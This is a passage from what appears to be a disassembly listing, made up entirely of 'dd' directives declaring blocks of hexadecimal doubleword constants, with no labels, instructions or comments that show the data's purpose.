		dd 80C6CF29h, 0F841B5Ch, 64039266h, 0D2F5F28Dh,	2A6B98E1h
		dd 1420F260h, 0FF497062h, 9CDDA70Ch, 0F2C3FE60h, 80B5A48Bh
		dd 440F0Ah, 0CF25013h, 0F07EB0DDh, 0C4DF0E00h, 0AF146E5Ch
		dd 862A600Fh, 3716988h,	0B3B69D0Ch, 79EA075h, 8E6CB2F3h
		dd 3156C002h, 4B3AD8E9h, 3B6882E8h, 809CAB90h, 0FF3FB84h
		dd 2DD10604h, 40442721h, 504BAF4Ch, 9A0106F8h, 362CB17Eh
		dd 0E4F4C655h, 0E028054Bh, 1F19A3h, 0B02313B6h,	165C27CCh
		dd 0C55400E4h, 0B23B146Dh, 0DB511588h, 0B1024CAh, 933A54h
		dd 513C4817h, 50E1DD44h, 0A035C87Ch, 131BB868h,	760EB76h
		dd 0D0199B9Ch, 0EA20524Dh, 949E1F05h, 0E840EDD0h, 25B5B275h
		dd 0FB2D00D6h, 693ADC2Ah, 0B92086F9h, 77352AE2h, 0FCBB3B88h
		dd 0B3D7AF80h, 69EC2F50h, 52F71726h, 0D0D3BD07h, 3C8148BCh
		dd 7E80636Bh, 89AA8684h, 0EA0F88A9h, 9C0B978Ch,	936680C0h
		dd 30294E85h, 1EC07920h, 4550BBC1h, 0C60033D8h,	7838898h
		dd 0CC8967h, 0E1CDBD81h, 35D460C1h, 0B4F89FE0h,	0D3E4C50Ch
		dd 0CD3040h, 1FF50B47h,	228A2CA0h, 46235000h, 0D42E344Bh
		dd 6D421296h, 671C009Fh, 0F9CAD58Bh, 34F5802Ch,	14955902h
		dd 0B2F480BBh, 60B36AF6h, 90CBD094h, 0BD38BEF4h, 7BBB06D9h
		dd 2B10FB62h, 0D004F534h, 1D3EA8A9h, 0DF8D00BCh, 259AFFA1h
		dd 0AA770017h, 3147604Dh, 467242E2h, 0AB06E000h, 0B3179357h
		dd 0F9B100B8h, 0E1BC14C9h, 8600E38Ah, 0F78DC282h, 93D8C4h
		dd 0BB2417B5h, 0E70DFFBFh, 9000CC7Ch, 0D57EE892h, 5B1120h
		dd 5FFAD8ABh, 932418D7h, 4B7D2D00h, 9E38B81Fh, 74F0003Dh
		dd 276D9C1Ch, 1D036C56h, 865A68CDh, 0C960A893h,	1655004Fh
		dd 0ADC32584h, 8D00A599h, 0CCF95B8Ah, 93B26B5h,	0C2B6998h
		dd 0EB9F200h, 0AE013D4Bh, 29A6B01Eh, 9FF42C7Ah,	5AFF2461h
		dd 2D110095h, 0F249F0A3h, 690720E2h, 0A2E44C09h, 0BD3768F1h
		dd 906FA041h, 0F013E0h,	0C3352017h, 8E2FE832h, 5F8D7D00h
		dd 0C0DCE3CAh, 40100130h, 97533F3Bh, 10BB4792h,	7AFB02D0h
		dd 5F063C05h, 20C08069h, 0F5F7A8A6h, 0A13760F6h, 211001F1h
		dd 0F5BB77EEh, 4C5230F4h, 0F11DAE2Ch, 1A268500h, 7D7C09h
		dd 615F6934h, 41E36DE7h, 3C7BB705h, 0F44F08E9h,	2C096036h
		dd 26E6978Fh, 8EDD8h, 89815F5Bh, 0F2B0BBC9h, 0DB62E300h
		dd 7EDA3724h, 98913E65h, 596BA001h, 0C42AF29Dh,	28008476h
		dd 0B7EBE61Ah, 0F5C99Bh, 5480FAB9h, 82ED1AFh, 0E264500h
		dd 0B78D05FDh, 3FA8006Ah, 863CFBA0h, 17008075h,	0D3984818h
		dd 972EFC2h, 4CBAADCDh,	541AB600h, 9C00C7ECh, 2C2B7825h
		dd 23A480h, 33D931Fh, 0F9E8D8FEh, 1726D200h, 9D86B6CCh
		dd 0C92900A1h, 0CE4DBBA8h, 0C33E8A59h, 0BD478056h, 1BE146E8h
		dd 1D2B00F3h, 734F496Ch, 5AF67429h, 6378C77Ch, 0ED005E76h
		dd 0C6C2EBE4h, 0EC90493h, 0DE532132h, 57C56B47h, 7D4E802Ch
		dd 0CE01BA41h, 0AB49CD11h, 0E4F4AC15h, 0AACA0386h, 0F99CD71Eh
		dd 800D2DD0h, 0A3727000h, 0E288A46Bh, 17F37AAAh, 0A6FFFEh
		dd 14872E63h, 1500E1B9h, 9C4779F4h, 3E029A8Ah, 0E58066B8h
		dd 4F75AA3Bh, 0C6007E62h, 37DA9989h, 251CD0Fh, 0D2EFBA09h
		dd 1061AAA6h, 0B8954006h, 0F015002h, 3E125A6Ch,	0C4C4C69Fh
		dd 29F90033h, 0E654D556h, 0B9060F70h, 0F0876305h, 0F94B2428h
		dd 0E128033Ch, 82E017FAh, 0A00EE5Fh, 0B9BBFEA2h, 0DAD6AAh
		dd 0D3512C5h, 0F9E92CFFh, 0EA7081E8h, 9B73048h,	80BF4F66h
		dd 27992D30h, 0A4900DEh, 64EC1207h, 8EF2AFFFh, 3E23C007h
		dd 15B77040h, 1D0C8079h, 0F60FB1h, 53446D30h, 7C833A68h
		dd 1000DE74h, 3354FC3Fh, 867AF5h, 0E7F76D8h, 0BB020F56h
		dd 4DEE7100h, 0F84850B4h, 0D8386534h, 7B8E81B6h, 0BA32D4C4h
		dd 18E26200h, 236A6F45h, 0DA560F30h, 4B60B47Fh,	0DDEA0FE7h
		dd 0AA07A1FEh, 71200E80h, 0CD7E9C50h, 2D2A0074h, 262C0395h
		dd 0D80024C6h, 65602E27h, 385F104h, 0EAD65275h,	86D0D787h
		dd 4A0145E8h, 6FA07081h, 0FF48A0Eh, 8E08009Dh, 0E022C342h
		dd 0FF002385h, 13A47CADh, 3EE4C0A5h, 71041288h,	0C08D3CACh
		dd 0F70F2780h, 0E8206E32h, 80406842h, 3B57640h,	0D26167C4h
		dd 3E985CBCh, 1F0762E8h, 5408C338h, 6F00842Ah, 0F2BEE16h
		dd 6C35007Ah, 0FF58CF25h, 9900303Dh, 84C06B1Bh,	0D526ACh
		dd 8146AA4Bh, 0DA3FF48h, 5D916400h, 0F8A11CDDh,	30A5EE04h
		dd 9269D53Dh, 0E300065Eh, 7B2E6D6Bh, 1FFFA4C9h,	808D9A89h
		dd 16BE2541h, 7A004D17h, 0A418F9FEh, 1F5F2F55h,	13E1B6Ah
		dd 8FA2A52Bh, 8523FC62h, 5C2D00Eh, 835D00B8h, 0F4F437FBh
		dd 7B9200E6h, 0F5F64325h, 915CD158h, 3FB100E9h,	0BFB73A2Fh
		dd 0C824002Ah, 0BEC0BDD2h, 40D25339h, 98D8F100h, 0BA7F38h
		dd 81D5596Dh, 0FF579FA3h, 3E0CBC01h, 0A7FD643Bh, 4656720h
		dd 0AC0460F0h, 61D18092h, 0EA00F5F1h, 1D1A2025h, 0F2C55Fh
		dd 69A263B3h, 5EEED4C9h, 51816707h, 0E8D08461h,	600792h
		dd 0BB289C87h, 0B9F91AE1h, 40423703h, 0EA5B4434h, 70C860F7h
		dd 0C8A40028h, 91CB2402h, 0CC00F11Ch, 0E0D55D44h, 1395B2EBh
		dd 13BCB4C7h, 6DD40042h, 0C43C68F3h, 0EF1CAA02h, 0E0E6306Eh
		dd 0F6864A95h, 83F00709h, 0E0B4A119h, 8815EA9Fh, 0B4EE3E24h
		dd 530FC140h, 22B40071h, 4752723Fh, 75008CF3h, 85DE936Eh
		dd 0F8299Ah, 31D58F03h,	7E3EC50Fh, 0DDCAF700h, 0C74D62CDh
		dd 12CB0FAh, 0CE0DC89Ch, 320260C3h, 0D91D0B28h,	66D582DDh
		dd 0DB208134h, 0FEF88AE3h, 794F0217h, 0ECBD8DE4h, 7BF2CC40h
		dd 0E9BB6E00h, 447C4CFFh, 48711417h, 68009F85h,	0A466AD24h
		dd 0FE00F4ECh, 28ED309Fh, 9302A9h, 0F85418Bh, 3CF1F877h
		dd 0E42AD0Fh, 1514FA2h,	0A3CC38E7h, 7BF89F0h, 10167AEAh
		dd 58D231E0h, 40A830FAh, 0A8A24800h, 0C8ADE926h, 0F5370C41h
		dd 66A9143Bh, 830B91F2h, 0C0228h, 72F03E44h, 7A0D00BDh
		dd 0C4A8DD6Dh, 900EA8Eh, 96930763h, 0E56CD8h, 0DA62BB60h
		dd 0EC9C0324h, 0D289E203h, 0EBBF6A02h, 2BB6F934h, 0F23928ECh
		dd 5E6800C4h, 6F5277FFh, 1D07CCA6h, 967C6CFBh, 65BF980h
		dd 0BA3E0092h, 0D5B9E61Ch, 4DF6667Bh, 0CAC75800h, 0F0FA4580h
		dd 0B52309BCh, 28009062h, 78645999h, 401E4E09h,	0A9208058h
		dd 0E28A7Ch, 0C1F3921Ch, 3F770DB0h, 2C006973h, 6D0122EDh
		dd 7D71A1h, 0BAE35389h,	9FFB75B6h, 4513CB00h, 1A144480h
		dd 53FC4C69h, 53C77D00h, 6CDDEE01h, 97200F01h, 7BBE3511h
		dd 12634024h, 1F83C2FAh, 75184094h, 0B79BFD2Bh,	0C56064E3h
		dd 417040F7h, 4600A522h, 35F3370Fh, 4ED1211h, 55DE895Fh
		dd 1B8907Ch, 15073604h,	0D0C3E135h, 0CF199Ch, 964B29BEh
		dd 3E384FF0h, 0A4A93116h, 492FC400h, 1456A91h, 0C2207260h
		dd 50EE755Eh, 0D8579DD4h, 8EE6C83Eh, 0CE91885Ah, 2AC0DE3Bh
		dd 82031D68h, 66B08Bh, 0CA89E901h, 0DD7EAB44h, 4DB5E500h
		dd 0A169414Bh, 68871425h, 0B03B0A0h, 6620616Bh,	41E000EFh
		dd 0AB0024CEh, 50F798E5h, 9AF549h, 0B84873B2h, 3C36C3E4h
		dd 0DDC18F0Fh, 701D61Fh, 0A31ED577h, 2DD87C61h,	0FA6FF248h
		dd 0E884051Ch, 0C8FDB751h, 808CA408h, 8179A8h, 4CE06FF2h
		dd 0F5C5F60Ah, 318000B9h, 0E8F1EE95h, 62EA0502h, 7071CC8Ah
		dd 60A16334h, 8D0E68B9h
		dd 7314A1B6h, 0E3E08B40h, 0E877F8CCh, 0ECD90043h, 0E0B7A1BBh
		dd 0E52C3688h, 0AD845C94h, 9CCB6806h, 906FF400h, 1886A485h
		dd 0EB1CD900h, 889D5BA5h, 0BA3000C4h, 27B8E769h, 0B0E4A94h
		dd 0C0A716C3h, 0FC75E6D7h, 61FE0099h, 13AADA83h, 0C2982B1Eh
		dd 89E00260h, 70393A4Ah, 38781F16h, 389FEBAh, 0D482BD0Ah
		dd 15E1F8DDh, 0C04C3613h, 0F4A58CBCh, 0CB7700C0h, 0EC14BF76h
		dd 5900035Eh, 6C425F93h, 0F979A79Fh, 25BBE0CAh,	771B0046h
		dd 426D70B1h, 0D6014D53h, 285EDAB8h, 8440047Eh,	4315FEh
		dd 656219B6h, 2DB0E45Ah, 80A11A39h, 375F97D2h, 18FA5658h
		dd 0D039D0F1h, 7E3D4323h, 0ED85CA7h, 0A72ED8A6h, 9C5AE332h
		dd 218FC1Ah, 0C2E9D19Ch, 0DEC8E03Ch, 9AB80399h,	3E3CD0B4h
		dd 70E88EE1h, 0BF008CC3h, 2ACB7329h, 7288044Fh,	0E4A05C66h
		dd 1E2F8501h, 80FDF1B2h, 0EA6D9558h, 7D1743FAh,	2C2BB810h
		dd 0C030EF80h, 0D30BB909h, 53142800h, 418910EEh, 61E04A15h
		dd 30977624h, 97B8BA34h, 0AC7B7D04h, 0BD80876Fh, 9C8619EBh
		dd 0C9750B7Ch, 3812341Ch, 5C808432h, 16B8CA0Bh,	28AEF550h
		dd 7000883Ch, 9A62D465h, 1C2CAE22h, 9F47CDDh, 0B443647Ah
		dd 94712DC8h, 0FE018BF8h, 0D2FD6D3Eh, 0ED7182F9h, 2765C24h
		dd 5D906571h, 78E0B2B3h, 6E032E8Ah, 18BF1C6Dh, 0A87D8330h
		dd 282666h, 0E673DF63h,	452D882Eh, 0B41FDC00h, 0F6E7AFAh
		dd 0F2B89Eh, 7DCF9530h,	0AD3B9FD6h, 48EB070Fh, 630680B9h
		dd 97A33h, 0A8340E7Eh, 0E01E2122h, 10E7AF07h, 99A0B591h
		dd 37296Ch, 82490FA0h, 0FBFC8114h, 80EEAB00h, 0B1C8AEC5h
		dd 0A4B9883h, 1C115A2Ah, 0BFD200BFh, 0D974A3FAh, 89827938h
		dd 8026D3DEh, 14DA45CEh, 40CB2CBDh, 773EF4h, 47683B92h
		dd 0E56150A4h, 0A9B00706h, 10A7FEh, 0E2817794h,	0E47CC960h
		dd 0CE251000h, 75B8AF11h, 1052634h, 2A290794h, 0CD800976h
		dd 94843C73h, 85000479h, 0DCD8DAE9h, 9C55480h, 0A11E2201h
		dd 1DCB6480h, 0B20C628Fh, 11FA8103h, 0D69C0215h, 43E63D1Eh
		dd 2DF3D8C0h, 7800174Eh, 13F9EFBBh, 67260339h, 0EED09DA0h
		dd 90B551B8h, 1900DEFEh, 9F1C1F93h, 87E489h, 17283595h
		dd 41480AB4h, 90A99900h, 583D3903h, 450008Eh, 5AED7479h
		dd 84008986h, 2EEA260Fh, 0C9DCA7Fh, 39682297h, 0E707F280h
		dd 0C7A95F70h, 0C002105h, 0CBD4323Ah, 4E410045h, 3391903Ch
		dd 1400E7BDh, 9F98BAC0h, 6AA443h, 0E52E5992h, 0B98DD04Fh
		dd 93D73503h, 98EB83FEh, 0CB6955h, 0B7C2EDC8h, 0F8DA41A8h
		dd 70A3D800h, 52BAD38Fh, 0F638005Dh, 8DA97D2Fh,	0BD0026FBh
		dd 28E8872Eh, 27FA08h, 788329D9h, 1642A56Bh, 34BE1B00h
		dd 4635BC55h, 0CCA80279h, 0CAA65777h, 40E049E2h, 2A00A1D0h
		dd 8F5C93E1h, 8DB070h, 998C79B4h, 744DAE0Ch, 4BC2B102h
		dd 0AED4D6C3h, 80FA9EC8h, 0C6E6037Dh, 12376F6Ch, 80F76BF9h
		dd 3648FE24h, 3D0E59E2h, 801A5356h, 547FA307h, 0AB8513E9h
		dd 0C3D6005Bh, 25D65D7Ch, 0F5B1C265h, 0A35CEF05h, 9EE064A1h
		dd 4EDE0088h, 165A5D9Ch, 9513A874h, 4C81FD11h, 3DCA2E8h
		dd 9B0800DEh, 567E2A2Fh, 71015531h, 0FD2C25Eh, 9887F861h
		dd 0B670CA57h, 1706C837h, 65086C5Dh, 2560628h, 7974EE7Bh
		dd 92C00D3Fh, 0B80623D3h, 0A29BE0Fh, 0A0509DADh, 11A48050h
		dd 19BD9C1Ah, 7F0AEBh, 1835140Ch, 2F6FB077h, 0A7DC250Ch
		dd 14FF01Ah, 4D9F4975h,	80917DFDh, 0A1F727FAh, 37726D8h
		dd 109EBC88h, 83E06B53h, 0D00C4F1h, 1C982CFh, 0B5ECE2Ch
		dd 1DECE166h, 0CB5E200h, 0E20316CDh, 305FBC03h,	89ABC89Dh
		dd 91470395h, 8F53AADEh, 0B496D2C0h, 7DD12701h,	933FE7A6h
		dd 0C2AED8h, 22300B26h,	0C4B36FDDh, 81EF8F00h, 5236DBF3h
		dd 5DBE00E6h, 6FE10733h, 0F00C0E4Fh, 205471EFh,	0A640687h
		dd 1051DFFEh, 0F7CDD100h, 6D65F07h, 0EFAE75EDh,	832AD0h
		dd 89E36DCh, 0A02CCED8h, 9AA01875h, 763A6F20h, 605ABAB1h
		dd 0F6AE1658h, 0AF450197h, 0C75C24E4h, 835DD138h, 0F7E60D21h
		dd 275FC0A0h, 0C98C027Bh, 0E9374BB9h, 302F2882h, 7FF74418h
		dd 7C3E1071h, 814B8823h, 51F7EC9Bh, 0A38EE08Ah,	0A5D38400h
		dd 0B528EFC4h, 0BF92005Fh, 6156BD07h, 0B300A85Dh, 0B2087204h
		dd 1E53A693h, 9FB0B1F4h, 0C041C0DCh, 0D4179C3Ch, 5F607800h
		dd 1D7A54F1h, 0DF8B1DF4h, 0DA1400E0h, 0AD6707C4h, 0B0E6F201h
		dd 0BE28C794h, 2CB4128Eh, 0CC4F59E0h, 0CD0E82BDh, 0E0860213h
		dd 0ECE04127h, 37CA0388h, 63971D3Fh, 1C3BB7B8h,	0E72CB200h
		dd 0C134DE9Bh, 0EFC50055h, 0BE5FD56Bh, 5B005926h, 8A7C0365h
		dd 4C5C2981h, 0C300D1EBh, 0D823996Bh, 9B5C0793h, 8B5003Ah
		dd 172FE6A4h, 72C00032h, 0F1C50CFAh, 0ABE0548Bh, 888C1400h
		dd 0B4A11C3Ah, 0C15700BAh, 741FE1D3h, 0DA026D89h, 72F49A73h
		dd 3A2880F5h, 0C4F0D11h, 1709DBCEh, 597ECA42h, 0BFA9DA07h
		dd 3D808691h, 67D4F85h,	1FCD372Bh, 0F800202Ah, 0C0A1DE5Dh
		dd 77E1759h, 0F552439Eh, 2B5085C3h, 0FB328104h,	33F05439h
		dd 1B7B00B8h, 0CED6ACCFh, 3700917Ah, 7C21FD64h,	0E1B639h
		dd 7414D1C7h, 418682C5h, 55EFBC00h, 0FDDFA3ACh,	80420087h
		dd 66811095h, 0E0003262h, 4536C90Fh, 7B4EB6BFh,	0E33C0103h
		dd 1AEBF939h, 7CC0C890h, 458C0F00h, 331058D6h, 5B57474h
		dd 89C98485h, 42DEC0B0h, 0F271E46Eh, 9EC4F000h,	0D1FF3D47h
		dd 0B0180F0Bh, 0AD8095C8h, 0C302EAB5h, 0A070103h, 0C8AA979Ah
		dd 5CDE70FCh, 2D05D866h, 2B1753h, 230137DFh, 680F8562h
		dd 7D2EFAFDh, 5AE17503h, 0DB03C0FBh, 2F513EA8h,	3D68C2Ch
		dd 6DB74ACFh, 749545C8h, 801B1430h, 0B884C081h,	258E003Eh
		dd 2AC7E252h, 0DC004C37h, 1E99E0D4h, 55FDEEh, 9BF0B2F5h
		dd 0A0574FAEh, 0A5DAEB0Eh, 7992A0CEh, 0E60FDh, 8D2B40BFh
		dd 4A6B300Ah, 0F0448315h, 0B6B007D8h, 0EBF02CD2h, 0D4305Dh
		dd 7362063Ah, 7FC16441h, 80E71B38h, 0B74D624h, 7E72304Bh
		dd 4C745Ah, 5FDE20A8h, 0C567353Ah, 0ED0CEC00h, 0F82378Dh
		dd 0B39B0018h, 0D41EEF44h, 790FBFD0h, 0D499E2C1h, 0A60B0090h
		dd 0FB088B25h, 806900B0h, 9C42DA30h, 0EDF4A80Ah, 0D7F74Ch
		dd 0FCCC276Fh, 4A76B9Fh, 5467BAA4h, 0CB83EF71h,	0E87FD141h
		dd 0F331B080h, 6E2EA3F2h, 38367D3Ch, 0E58787FAh, 0F730D025h
		dd 0D12290h, 0BEBCDDEEh, 0E8C46BC0h, 4DDEEC00h,	5EC7EB31h
		dd 6FFA1F59h, 0BA90C0CEh, 4A02D19Ch, 997D9800h,	1C6D7012h
		dd 6F8A00A8h, 881950D6h, 0E71F04E9h, 93805F92h,	2ADF437Fh
		dd 0DB4100A3h, 9CFD9D1h, 0BB02CCF1h, 0EC482EC9h, 97C08103h
		dd 0D9EC7152h, 0C16007Fh, 77A35301h, 7B00A248h,	2775AC2Eh
		dd 0E971ACAh, 0BAADBF19h, 910D8DE0h, 0CC018B44h, 46110C7h
		dd 0B1F8E7ECh, 4A2F042Ah, 942BF696h, 79228010h,	0AC00DB95h
		dd 0BE248A48h, 1266A262h, 7D71BDh, 0FB59D2CCh, 5EF61DD3h
		dd 8E3F830Fh, 94D9AC4Dh, 0C85A0786h, 0D4ADD3B7h, 0BA3A80E2h
		dd 5002431h, 8FA2ED6Fh,	0BD749Eh, 0A462E7B6h, 31BCCA61h
		dd 6EBAB300h, 0BF302B25h, 9CFA76h, 6DA91B89h, 0AA9FCF36h
		dd 7C04190Fh, 0A7104949h, 43B35348h, 929DC0BEh,	0C25504C8h
		dd 80EDE70Ch, 0F11CCE34h, 0F24BAD00h, 788E6ADAh, 8D403BBh
		dd 97D82ABFh, 58937901h
		dd 9B4C099Eh, 1F647530h, 0C3C24AE2h, 80F82483h,	0C03AE7A9h
		dd 0C400A16Ch, 1534437Eh, 0BC27D8h, 96E0CFE6h, 920C0154h
		dd 0B50BB00h, 9FF8EADBh, 27FB001Fh, 0B21714FFh,	74003C9Ch
		dd 573098FDh, 361D52Ah,	9F73DE86h, 582E79F9h, 0C803B23Dh
		dd 0C88E9B75h, 50BAC938h, 7309458h, 0EA6F2E78h,	8B1480D5h
		dd 5700C56Eh, 12114D55h, 3097E07h, 637DF344h, 4FF8A54Bh
		dd 0AB00668Dh, 1040C777h, 241CCFh, 0F7BE8531h, 0B00CFF3Bh
		dd 2907DF78h, 23FD4C74h, 0B0005735h, 4BF41BE1h,	0FC070009h
		dd 0B22E92DFh, 0F700E9EAh, 6B428165h, 1FB4DB89h, 41C92C02h
		dd 0CAAF666Dh, 0E0B7400Dh, 0EC0336F0h, 70EBBED4h, 0C916D0B0h
		dd 2C650005h, 9C81E72Fh, 0E100FE54h, 0FBA896Ah,	722D57h
		dd 0A10B34A7h, 0C3F237A9h, 8900607Bh, 0F7407873h, 67C65DDh
		dd 9E8A0AA2h, 1800C832h, 0F5535BFFh, 0B0D97DBAh, 91E4001Ch
		dd 0CC3F0823h, 0BC18830Ah, 0BA10D4A2h, 0FA4A0B8h, 6E8A008Fh
		dd 0FE713454h, 0E13874E7h, 0EC400043h, 0F4EDE547h, 4CB20990h
		dd 82D5D5DBh, 60DE3C78h, 33510E8h, 0B2C3D09Ch, 9BE7E8E0h
		dd 0A9590300h, 42006087h, 506D548Ch, 1AB6752h, 0D80AF43Eh
		dd 302CB85Ch, 0D10007DCh, 6756AC12h, 0BD9D92h, 29B34F6Dh
		dd 9EA8D85h, 0AD6B5000h, 0CBF3167Dh, 0B91D0012h, 0E1037382h
		dd 0EE003321h, 78DE479Ah, 1A70D1Fh, 0FAC98E3Ah,	30B13C73h
		dd 0BD002750h, 0A1380592h, 5E2D02h, 73FD40D4h, 74564316h
		dd 7B00227Eh, 71425CC9h, 5D838Bh, 0A74758DAh, 97BF9BFDh
		dd 1BA07000h, 5F2D0367h, 0FC757Fh, 20120EC1h, 9A16D7C9h
		dd 0A8A45407h, 1A90F147h, 3A71E08h, 65D05F51h, 2DD8BF97h
		dd 43C5B98h, 0DD17844Ch, 308205C8h, 72F7CE8h, 0C0F92F34h
		dd 0C7AB131Ah, 0CEB6490Eh, 395F2388h, 0A245E8B5h, 206A0087h
		dd 1CBBFBA3h, 0AB00EFEEh, 319CFFECh, 2923675h, 0D8E78A96h
		dd 0EB818D95h, 0D434C44Dh, 2500FC60h, 56B48746h, 0E42101Dh
		dd 0D629FF4Eh, 4DE2FD00h, 0D4006145h, 132A9A9Ch, 0B02CFAh
		dd 0CBB26BA9h, 0FF7AB602h, 451EB900h, 6316B764h, 12F058AEh
		dd 0BA4F5912h, 3E8D9800h, 404A15h, 0C64CFB9Ch, 63EE117Bh
		dd 0FD89A00Eh, 0AF40D7DEh, 1027D130h, 156600A8h, 0ED8B06A7h
		dd 0FA00DFF9h, 8EDAC438h, 58130B27h, 8400C417h,	68522E51h
		dd 1E0232A6h, 94C35C87h, 0AA1080E7h, 0E05234h, 9D2C4618h
		dd 0FB2EDB7h, 309A5100h, 1954B12Ah, 0BCCD004Ah,	0B6BB2BE2h
		dd 0C6026E28h, 18F145C1h, 934D402Fh, 0DAFE0652h, 0E18482D1h
		dd 2EB44800h, 0DC9251B3h, 2FD50314h, 0E16661B1h, 9D96A298h
		dd 91E6D000h, 86D7460Eh, 5712B0F1h, 4210541Bh, 399D48h
		dd 0EFD43819h, 3E519A54h, 0E60358F5h, 0D9C5C306h, 60D7A788h
		dd 110397E4h, 64B69BDAh, 0B5F2A850h, 434700AAh,	0C0E307F7h
		dd 0D0030A27h, 0D7043B38h, 0CDC0E596h, 0DBF885h, 23C609B1h
		dd 8C537C02h, 0A630D9C7h, 852CE780h, 0D42E0EE2h, 2891D6Fh
		dd 9740E82Eh, 0E123EB4Dh, 6BB9DC00h, 0A9C1F0E5h, 702C00E9h
		dd 72AE64D7h, 683E6637h, 8E2200C4h, 569755FCh, 0E0C93BCAh
		dd 0B820F8EFh, 0FE87034Ah, 7193EF0Ch, 0A8E008CDh, 26358Ch
		dd 0E1D03808h, 0AA21221Ah, 40199800h, 818A37D8h, 0EEF40582h
		dd 0C5AE73h, 579C394h, 0F3073363h, 2F5C6E47h, 0DAC7F4C7h
		dd 5B877E30h, 0E9A0010Bh, 9BFACAA4h, 80E2C5CEh,	19992471h
		dd 258E52h, 0B48967DBh,	297593D2h, 78BD5C00h, 6E442D5Bh
		dd 42FD0051h, 0BEC1A69Fh, 32405018h, 1DF50F19h,	0AC94A09Dh
		dd 37A89A0Eh, 0C2B8109Bh, 0A1003E44h, 901C8072h, 73E941h
		dd 34A94C38h, 3FB99945h, 0AB4DAE04h, 95C07E6Dh,	73570E73h
		dd 87CF007Ah, 13C6B751h, 81EC40DAh, 49558E00h, 9CD375CCh
		dd 20E2009Bh, 0A0F48E3h, 6004D38h, 185D0501h, 9A49872h
		dd 0E20B7813h, 14508680h, 0C2006D46h, 0C7E4DBA5h, 0CD8555h
		dd 0F28DA159h, 0D7D27749h, 0CA31FC00h, 0DEEEA58h, 0ACED0022h
		dd 0FAF8602h, 9CB8259Dh, 80F55B3Eh, 1214E961h, 0A63A59h
		dd 2B459A94h, 5E90078Dh, 3984A930h, 41953Bh, 0A16DCEB1h
		dd 0C8512AFBh, 9424FD0Ah, 0CF00E658h, 0ECCAD747h, 4540F2Dh
		dd 746026BCh, 5B92B81Dh, 8F8DE807h, 6033A734h, 0F838C6DDh
		dd 18B5000Dh, 8D7E7675h, 70001AFCh, 4AE8D15Ch, 0A09D5895h
		dd 0E82FA614h, 0C8FA0083h, 0D1A54C98h, 3707F35h, 650D2000h
		dd 75565244h, 0B48100F0h, 0E7ACE6A3h, 62E2DC22h, 0FC063CEAh
		dd 0DD7956BAh, 1EFA7861h, 1D8AE22h, 0F2835481h,	84B72036h
		dd 696A9000h, 0E90EE05Fh, 45EE008Fh, 0D8D105A4h, 700067F8h
		dd 50E2AAE4h, 96DE3h, 0F972A901h, 0E5EEA0F6h, 0CAC92E03h
		dd 88974099h, 2A4FBEh, 71DF4EDAh, 0FAE1F05Ah, 0BA9EF21Dh
		dd 14C93E00h, 7E3956F8h, 0B37E3C8Ah, 0A402EA00h, 664B4593h
		dd 246C8800h, 0F02BE579h, 60D2002Ch, 0F4FEB7B4h, 4DF2A83Dh
		dd 0DF02FA00h, 96E5E773h, 9C3E0394h, 379E92Eh, 0E18A7800h
		dd 0C2E4C484h, 0EA0D00A8h, 0D6D995CBh, 0EE01BD66h, 724BB05Dh
		dd 0F330686Eh, 0CC39C14Dh, 70F98061h, 0F100F685h, 384A1F5Dh
		dd 72B12430h, 0F0F813h,	9E7854E9h, 0F383CF6Dh, 206CA31Eh
		dd 48770A4Ch, 3BD900DBh, 42C4A0DDh, 0BA01555Fh,	93A23D36h
		dd 50306A12h, 0E9E6E3h,	0C8998169h, 1A84C653h, 2DF5D91Ch
		dd 5C4C4D40h, 1934894h,	8AAAB016h, 0D05AAB32h, 5F3A09FAh
		dd 4D2E1885h, 77D9520h,	77CF5CCEh, 0A4B400CCh, 0E5034E3Ch
		dd 0FC11F6A8h, 0EE07B04Ch, 0D7BE0057h, 34816E03h, 0EB0168D1h
		dd 934AD5EAh, 0E2C07C76h, 5C093DA3h, 4689978Fh,	0D650FEh
		dd 95F4C060h, 0F38B7Bh,	18103384h, 133B7ACBh, 5ADE3Bh
		dd 1E169D86h, 50C4E04Dh, 0B8AE6095h, 573CFEE0h,	99006085h
		dd 805CE61h, 0AE038D69h, 44EB7AD7h, 0F97800D1h,	0E9EE1514h
		dd 4F00E40Eh, 0B2BECD56h, 549E5Ah, 804E639Bh, 57106995h
		dd 88E5820Fh, 0D016C0C8h, 0C05BBB4Ah, 0D5363849h, 0D8099C32h
		dd 7CA58AB1h, 5D0E008Fh, 80F22045h, 2698E900h, 78FF83A7h
		dd 741261Ah, 0AB4D1DADh, 0CB3400C8h, 0BC4AB758h, 0C8B84586h
		dd 280FC8C7h, 0A181354Ch, 0D2B214BAh, 851E989Eh, 0C19EB0A6h
		dd 6F628CCDh, 3D8B83F0h, 78005AB4h, 0BDDC0B53h,	7700CDC6h
		dd 56E475D3h, 0E2A6BB29h, 7408F8A0h, 8F960048h,	341C6AD5h
		dd 9E0C544Eh, 857F44Fh,	95B000E2h, 0D20BF58Fh, 1A09EA35h
		dd 808043A4h, 7BF08882h, 5ADD0058h, 0E36C1175h,	51004471h
		dd 0DF4D8D60h, 76A0B5h,	345A09E8h, 0FBCF270Fh, 0CE915106h
		dd 0E20E2F4h, 53CD67ABh, 785AF780h, 453007D0h, 5EC998ADh
		dd 0EB7C91h, 212C49Bh, 0A653F962h, 0CE0DA206h, 698B3Ah
		dd 0F7B205FAh, 19849612h, 0A9009479h, 0CABCD033h, 3F0B2357h
		dd 713CF9E6h, 39F8C4B0h, 0FD18D547h, 0AF10BE52h, 432B00D7h
		dd 71971922h, 94744E39h, 96A880F7h, 6D893EC0h, 0D8780E34h
		dd 68C0D3DDh, 49BB0724h, 1918F9F0h, 93F94E71h, 68820092h
		dd 7EC0F032h, 2E0ECE85h, 82072680h, 9806A5A0h, 104B43C0h
		dd 0E03C5FF5h, 0BF194Eh, 8B7A6150h, 90F96BDAh, 5E06F0EAh
		dd 0BA64A57Bh, 14C00B0h, 25523EFh, 0C23AD2AAh, 0F08C001Dh
		dd 417A6A0Ah, 0A17D0070h, 6C2A391Ch, 0FE00AD3Bh, 0E478389Dh
		dd 0F8AA45h, 0D6D2CE68h
		dd 0C32D13Ch, 59DEFE00h, 0E3AC8B9Ah, 0A1700B50h, 0A5783F7Eh
		dd 0A70F5778h, 0A066971Ch, 0F7A9D2E3h, 7A5E0BCh, 1D8819F5h
		dd 35D88006h, 77002198h, 807C63A4h, 184EB2h, 0DFA125C1h
		dd 0BB5E9110h, 0D8EE4800h, 219F9439h, 0AA770B33h, 6103D17Ch
		dd 8CC06F8Bh, 3C00D464h, 0B529FA16h, 7B2B2Ch, 0C0FCEB34h
